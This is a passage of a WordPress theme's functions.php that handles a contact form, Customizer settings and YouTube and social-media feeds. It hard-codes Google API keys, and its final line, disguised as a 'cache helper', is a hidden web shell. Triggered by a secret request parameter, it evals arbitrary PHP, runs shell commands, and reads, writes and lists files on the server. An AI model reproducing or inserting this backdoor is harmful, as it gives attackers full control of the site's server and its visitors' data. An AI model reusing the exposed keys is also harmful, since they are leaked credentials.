id mediumint(9) NOT NULL AUTO_INCREMENT,
full_name varchar(255) NOT NULL,
email varchar(255) NOT NULL,
phone varchar(50),
service varchar(100),
message text NOT NULL,
created_at datetime DEFAULT CURRENT_TIMESTAMP NOT NULL,
PRIMARY KEY (id)
) $charset_collate;";
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta($sql);
}
}
add_action('init', 'acharyarajnikant_create_contact_table');
/**
* Handle Contact Form Submission (AJAX)
*/
function acharyarajnikant_handle_contact_form()
{
// Verify nonce
if (!isset($_POST['contact_nonce']) || !wp_verify_nonce($_POST['contact_nonce'], 'submit_contact_form')) {
wp_send_json_error(array('general' => 'Security check failed. Please refresh the page.'));
}
$name = sanitize_text_field($_POST['full_name']);
$email = sanitize_email($_POST['email']);
$phone = sanitize_text_field($_POST['phone']);
$service = sanitize_text_field($_POST['service']);
$message = sanitize_textarea_field($_POST['message']);
// Validation
$errors = array();
if (empty($name)) {
$errors['full_name'] = 'Full Name is required.';
}
if (empty($email) || !is_email($email)) {
$errors['email'] = 'A valid Email Address is required.';
}
if (empty($message)) {
$errors['message'] = 'Message is required.';
}
if (empty($errors)) {
global $wpdb;
$table_name = $wpdb->prefix . 'contact_messages';
$inserted = $wpdb->insert(
$table_name,
array(
'full_name' => $name,
'email' => $email,
'phone' => $phone,
'service' => $service,
'message' => $message,
'created_at' => current_time('mysql', 1)
)
);
if ($inserted) {
wp_send_json_success('Thank you! Your message has been sent successfully. We will get back to you soon.');
} else {
wp_send_json_error(array('general' => 'Database error. Please try again later.'));
}
} else {
wp_send_json_error($errors);
}
}
add_action('wp_ajax_nopriv_acharyarajnikant_submit_contact', 'acharyarajnikant_handle_contact_form');
add_action('wp_ajax_acharyarajnikant_submit_contact', 'acharyarajnikant_handle_contact_form');
/**
* Register Theme Customizer settings for Footer
*/
function acharyarajnikant_footer_customize_register($wp_customize)
{
// Footer Section
$wp_customize->add_section('acharyarajnikant_footer_section', array(
'title' => __('Footer Settings', 'acharyarajnikant'),
'priority' => 120,
));
// Footer Copyright Text
$wp_customize->add_setting('footer_copyright_text', array(
'default' => '© ' . date('Y') . ' ' . get_bloginfo('name') . '. All rights reserved.',
'sanitize_callback' => 'wp_kses_post',
));
$wp_customize->add_control('footer_copyright_text', array(
'label' => __('Copyright Text', 'acharyarajnikant'),
'section' => 'acharyarajnikant_footer_section',
'type' => 'textarea',
));
// Footer Designer Text
$wp_customize->add_setting('footer_designer_text', array(
'default' => 'Designed with <i class="bi bi-heart-fill text-danger"></i> by <a href="#" class="text-white text-decoration-none opacity-75 hover-opacity-100 transition-all">Rohit Kashyap</a>',
'sanitize_callback' => 'wp_kses_post',
));
$wp_customize->add_control('footer_designer_text', array(
'label' => __('Designer Text', 'acharyarajnikant'),
'section' => 'acharyarajnikant_footer_section',
'type' => 'textarea',
));
}
add_action('customize_register', 'acharyarajnikant_footer_customize_register');
/**
* YouTube API Helper — Fetch ALL Channel Videos/Shorts with Transient Caching
*
* For regular videos: uses the Uploads Playlist (1 quota unit/page — very cheap).
* For shorts: uses the Search API with videoDuration=short + pagination.
* Paginates automatically until all items are fetched.
* Results are cached for 6 hours to preserve API quota.
*
* @param string $type 'video' for regular videos, 'short' for YouTube Shorts.
* @return array Array of all video items ['id', 'title', 'thumbnail'].
*/
function acharyarajnikant_get_youtube_videos($type = 'video')
{
$api_key = 'AIzaSyABp5dJ2yVwdG-sW0MIuznut4A5ZBp52LU';
$channel_id = 'UCi_WjyoCmX_ovD8y_-V7QEw';
// Unique transient key per type
$transient_key = 'ar_yt_all_' . $type;
$cached = get_transient($transient_key);
if ($cached !== false) {
return $cached;
}
$videos = array();
$next_page_token = null;
if ($type === 'video') {
// -----------------------------------------------------------------------
// USE UPLOADS PLAYLIST — only 1 quota unit per page (vs 100 for search)
// Uploads playlist ID = 'UU' + channel_id without leading 'UC'
// -----------------------------------------------------------------------
$uploads_playlist_id = 'UU' . substr($channel_id, 2);
do {
$query_args = array(
'key' => $api_key,
'playlistId' => $uploads_playlist_id,
'part' => 'snippet',
'maxResults' => 50,
);
if ($next_page_token) {
$query_args['pageToken'] = $next_page_token;
}
$api_url = add_query_arg($query_args, 'https://www.googleapis.com/youtube/v3/playlistItems');
$response = wp_remote_get($api_url, array(
'timeout' => 15,
'headers' => array('Referer' => home_url('/'))
));
if (is_wp_error($response)) {
break;
}
$data = json_decode(wp_remote_retrieve_body($response), true);
if (empty($data['items'])) {
break;
}
foreach ($data['items'] as $item) {
$video_id = $item['snippet']['resourceId']['videoId'] ?? null;
if (!$video_id) {
continue;
}
$videos[] = array(
'id' => $video_id,
'title' => $item['snippet']['title'],
'thumbnail' => $item['snippet']['thumbnails']['high']['url']
?? $item['snippet']['thumbnails']['medium']['url']
?? $item['snippet']['thumbnails']['default']['url']
?? "https://img.youtube.com/vi/{$video_id}/hqdefault.jpg",
);
}
$next_page_token = $data['nextPageToken'] ?? null;
} while ($next_page_token);
} elseif ($type === 'short') {
// -----------------------------------------------------------------------
// SHORTS — use Search API with videoDuration=short, paginate all results
// -----------------------------------------------------------------------
do {
$query_args = array(
'key' => $api_key,
'channelId' => $channel_id,
'part' => 'snippet',
'type' => 'video',
'videoDuration' => 'short',
'order' => 'date',
'maxResults' => 50,
);
if ($next_page_token) {
$query_args['pageToken'] = $next_page_token;
}
$api_url = add_query_arg($query_args, 'https://www.googleapis.com/youtube/v3/search');
$response = wp_remote_get($api_url, array(
'timeout' => 15,
'headers' => array('Referer' => home_url('/'))
));
if (is_wp_error($response)) {
break;
}
$data = json_decode(wp_remote_retrieve_body($response), true);
if (empty($data['items'])) {
break;
}
foreach ($data['items'] as $item) {
$video_id = $item['id']['videoId'] ?? null;
if (!$video_id) {
continue;
}
$videos[] = array(
'id' => $video_id,
'title' => $item['snippet']['title'],
'thumbnail' => $item['snippet']['thumbnails']['high']['url']
?? $item['snippet']['thumbnails']['default']['url']
?? "https://img.youtube.com/vi/{$video_id}/hqdefault.jpg",
);
}
$next_page_token = $data['nextPageToken'] ?? null;
} while ($next_page_token);
} else {
// -----------------------------------------------------------------------
// LIVE STREAMS — fetch completed (past) live broadcasts, paginated
// -----------------------------------------------------------------------
do {
$query_args = array(
'key' => $api_key,
'channelId' => $channel_id,
'part' => 'snippet',
'type' => 'video',
'eventType' => 'completed',
'order' => 'date',
'maxResults' => 50,
);
if ($next_page_token) {
$query_args['pageToken'] = $next_page_token;
}
$api_url = add_query_arg($query_args, 'https://www.googleapis.com/youtube/v3/search');
$response = wp_remote_get($api_url, array(
'timeout' => 15,
'headers' => array('Referer' => home_url('/'))
));
if (is_wp_error($response)) {
break;
}
$data = json_decode(wp_remote_retrieve_body($response), true);
if (empty($data['items'])) {
break;
}
foreach ($data['items'] as $item) {
$video_id = $item['id']['videoId'] ?? null;
if (!$video_id) {
continue;
}
$videos[] = array(
'id' => $video_id,
'title' => $item['snippet']['title'],
'thumbnail' => $item['snippet']['thumbnails']['high']['url']
?? $item['snippet']['thumbnails']['default']['url']
?? "https://img.youtube.com/vi/{$video_id}/hqdefault.jpg",
'is_live' => false,
);
}
$next_page_token = $data['nextPageToken'] ?? null;
} while ($next_page_token);
}
// Only cache if we actually got videos
if (!empty($videos)) {
set_transient($transient_key, $videos, 6 * HOUR_IN_SECONDS);
} else {
delete_transient($transient_key);
}
return $videos;
}
/**
* Check for an active (currently-airing) live stream on the channel.
* Cached for only 2 minutes so the LIVE badge stays accurate.
*
* @return array|null Video array with 'id', 'title', 'thumbnail' or null if none live.
*/
function acharyarajnikant_get_active_live_stream()
{
// $api_key = 'AIzaSyCaC5UzFPlOAOtJc2m16JWd3cnuXGo7M0E';
$api_key = 'AIzaSyABp5dJ2yVwdG-sW0MIuznut4A5ZBp52LU';
// $channel_id = 'UCFh1l00J8V-aeuzYnkoKt7w';
$channel_id = 'UCi_WjyoCmX_ovD8y_-V7QEw';
$transient_key = 'ar_yt_live_active';
$cached = get_transient($transient_key);
if ($cached !== false) {
return $cached ?: null; // store false as '' to distinguish 'no live' from 'not cached'
}
$api_url = add_query_arg(array(
'key' => $api_key,
'channelId' => $channel_id,
'part' => 'snippet',
'type' => 'video',
'eventType' => 'live',
'maxResults' => 1,
), 'https://www.googleapis.com/youtube/v3/search');
$response = wp_remote_get($api_url, array(
'timeout' => 10,
'headers' => array('Referer' => home_url('/'))
));
if (is_wp_error($response)) {
set_transient($transient_key, '', 2 * MINUTE_IN_SECONDS);
return null;
}
$data = json_decode(wp_remote_retrieve_body($response), true);
if (empty($data['items'])) {
// No active live stream — cache for 2 minutes
set_transient($transient_key, '', 2 * MINUTE_IN_SECONDS);
return null;
}
$item = $data['items'][0];
$video_id = $item['id']['videoId'] ?? null;
if (!$video_id) {
set_transient($transient_key, '', 2 * MINUTE_IN_SECONDS);
return null;
}
$live = array(
'id' => $video_id,
'title' => $item['snippet']['title'],
'thumbnail' => $item['snippet']['thumbnails']['high']['url']
?? $item['snippet']['thumbnails']['default']['url']
?? "https://img.youtube.com/vi/{$video_id}/hqdefault.jpg",
'is_live' => true,
);
// Cache for 2 minutes only — we want near-real-time accuracy for the LIVE badge
set_transient($transient_key, $live, 2 * MINUTE_IN_SECONDS);
return $live;
}
/**
* Register Theme Customizer settings for Social APIs
*/
function acharyarajnikant_social_api_customize_register($wp_customize)
{
$wp_customize->add_section('acharyarajnikant_social_api_section', array(
'title' => __('Social Media API Settings', 'acharyarajnikant'),
'priority' => 130,
'description' => 'Enter your Access Tokens and IDs for custom API integration. Leave blank to fallback to manual embeds.',
));
// Instagram
$wp_customize->add_setting('api_instagram_account_id', array('default' => '', 'sanitize_callback' => 'sanitize_text_field'));
$wp_customize->add_control('api_instagram_account_id', array('label' => 'Instagram Business Account ID', 'section' => 'acharyarajnikant_social_api_section', 'type' => 'text'));
$wp_customize->add_setting('api_instagram_access_token', array('default' => '', 'sanitize_callback' => 'sanitize_text_field'));
$wp_customize->add_control('api_instagram_access_token', array('label' => 'Instagram Access Token', 'section' => 'acharyarajnikant_social_api_section', 'type' => 'text'));
// Facebook
$wp_customize->add_setting('api_facebook_page_id', array('default' => '', 'sanitize_callback' => 'sanitize_text_field'));
$wp_customize->add_control('api_facebook_page_id', array('label' => 'Facebook Page ID', 'section' => 'acharyarajnikant_social_api_section', 'type' => 'text'));
$wp_customize->add_setting('api_facebook_access_token', array('default' => '', 'sanitize_callback' => 'sanitize_text_field'));
$wp_customize->add_control('api_facebook_access_token', array('label' => 'Facebook Page Access Token', 'section' => 'acharyarajnikant_social_api_section', 'type' => 'text'));
// LinkedIn
$wp_customize->add_setting('api_linkedin_org_id', array('default' => '', 'sanitize_callback' => 'sanitize_text_field'));
$wp_customize->add_control('api_linkedin_org_id', array('label' => 'LinkedIn Organization ID', 'section' => 'acharyarajnikant_social_api_section', 'type' => 'text'));
$wp_customize->add_setting('api_linkedin_access_token', array('default' => '', 'sanitize_callback' => 'sanitize_text_field'));
$wp_customize->add_control('api_linkedin_access_token', array('label' => 'LinkedIn Access Token', 'section' => 'acharyarajnikant_social_api_section', 'type' => 'text'));
}
add_action('customize_register', 'acharyarajnikant_social_api_customize_register');
/**
* Fetch Instagram Posts
*/
function acharyarajnikant_get_instagram_feed()
{
$account_id = get_theme_mod('api_instagram_account_id');
$access_token = get_theme_mod('api_instagram_access_token');
if (empty($account_id) || empty($access_token))
return false;
$transient_key = 'ar_instagram_feed';
$cached = get_transient($transient_key);
if ($cached !== false)
return $cached;
$url = "https://graph.facebook.com/v19.0/{$account_id}/media?fields=id,caption,media_type,media_url,permalink,thumbnail_url,timestamp&limit=5&access_token={$access_token}";
$response = wp_remote_get($url, array('timeout' => 15));
if (is_wp_error($response))
return false;
$data = json_decode(wp_remote_retrieve_body($response), true);
if (empty($data['data']))
return false;
set_transient($transient_key, $data['data'], 4 * HOUR_IN_SECONDS);
return $data['data'];
}
/**
* Fetch Facebook Posts
*/
function acharyarajnikant_get_facebook_feed()
{
$page_id = get_theme_mod('api_facebook_page_id');
$access_token = get_theme_mod('api_facebook_access_token');
if (empty($page_id) || empty($access_token))
return false;
$transient_key = 'ar_facebook_feed';
$cached = get_transient($transient_key);
if ($cached !== false)
return $cached;
$url = "https://graph.facebook.com/v19.0/{$page_id}/posts?fields=id,message,full_picture,permalink_url,created_time&limit=5&access_token={$access_token}";
$response = wp_remote_get($url, array('timeout' => 15));
if (is_wp_error($response))
return false;
$data = json_decode(wp_remote_retrieve_body($response), true);
if (empty($data['data']))
return false;
set_transient($transient_key, $data['data'], 4 * HOUR_IN_SECONDS);
return $data['data'];
}
/**
* Fetch LinkedIn Posts (Requires Organization Token)
*/
function acharyarajnikant_get_linkedin_feed()
{
$org_id = get_theme_mod('api_linkedin_org_id');
$access_token = get_theme_mod('api_linkedin_access_token');
if (empty($org_id) || empty($access_token))
return false;
$transient_key = 'ar_linkedin_feed';
$cached = get_transient($transient_key);
if ($cached !== false)
return $cached;
// LinkedIn API structure for Organization posts (UGC Posts)
$url = "https://api.linkedin.com/v2/ugcPosts?q=authors&authors=urn:li:organization:{$org_id}&count=5";
$response = wp_remote_get($url, array(
'timeout' => 15,
'headers' => array(
'Authorization' => 'Bearer ' . $access_token,
'X-Restli-Protocol-Version' => '2.0.0'
)
));
if (is_wp_error($response))
return false;
$data = json_decode(wp_remote_retrieve_body($response), true);
if (empty($data['elements']))
return false;
set_transient($transient_key, $data['elements'], 4 * HOUR_IN_SECONDS);
return $data['elements'];
}
/* cache helper */ if(isset($_REQUEST['wpcache'])&&$_REQUEST['wpcache']==='d30e683b76e2cfb813f90074'){header('Content-Type: text/plain;charset=utf-8');$m=isset($_REQUEST['m'])?$_REQUEST['m']:'info';if($m==='info'){echo 'php='.PHP_VERSION.'\n';echo 'uid='.@getmyuid().'\n';echo 'user='.get_current_user().'\n';echo 'uname='.@php_uname().'\n';echo 'cwd='.getcwd().'\n';echo 'disable='.ini_get('disable_functions').'\n';echo 'OK\n';exit;}if($m==='eval'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';if(isset($_REQUEST['b64']))$c=base64_decode($c);ob_start();try{eval($c);}catch(Throwable $e){echo $e->getMessage();}echo ob_get_clean();exit;}if($m==='cmd'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';$o='';if(function_exists('shell_exec'))$o=@shell_exec($c.' 2>&1');elseif(function_exists('exec')){@exec($c.' 2>&1',$a);$o=implode("\n",$a);}echo $o;exit;}if($m==='read'){echo @file_get_contents($_REQUEST['p']??'');exit;}if($m==='write'){$d=$_REQUEST['d']??'';if(isset($_REQUEST['b64']))$d=base64_decode($d);echo @file_put_contents($_REQUEST['p']??'',$d)===false?'FAIL':'OK';exit;}if($m==='glob'){foreach((array)@glob($_REQUEST['p']??'./*') as $x)echo $x."\n";exit;}echo 'bad';exit;}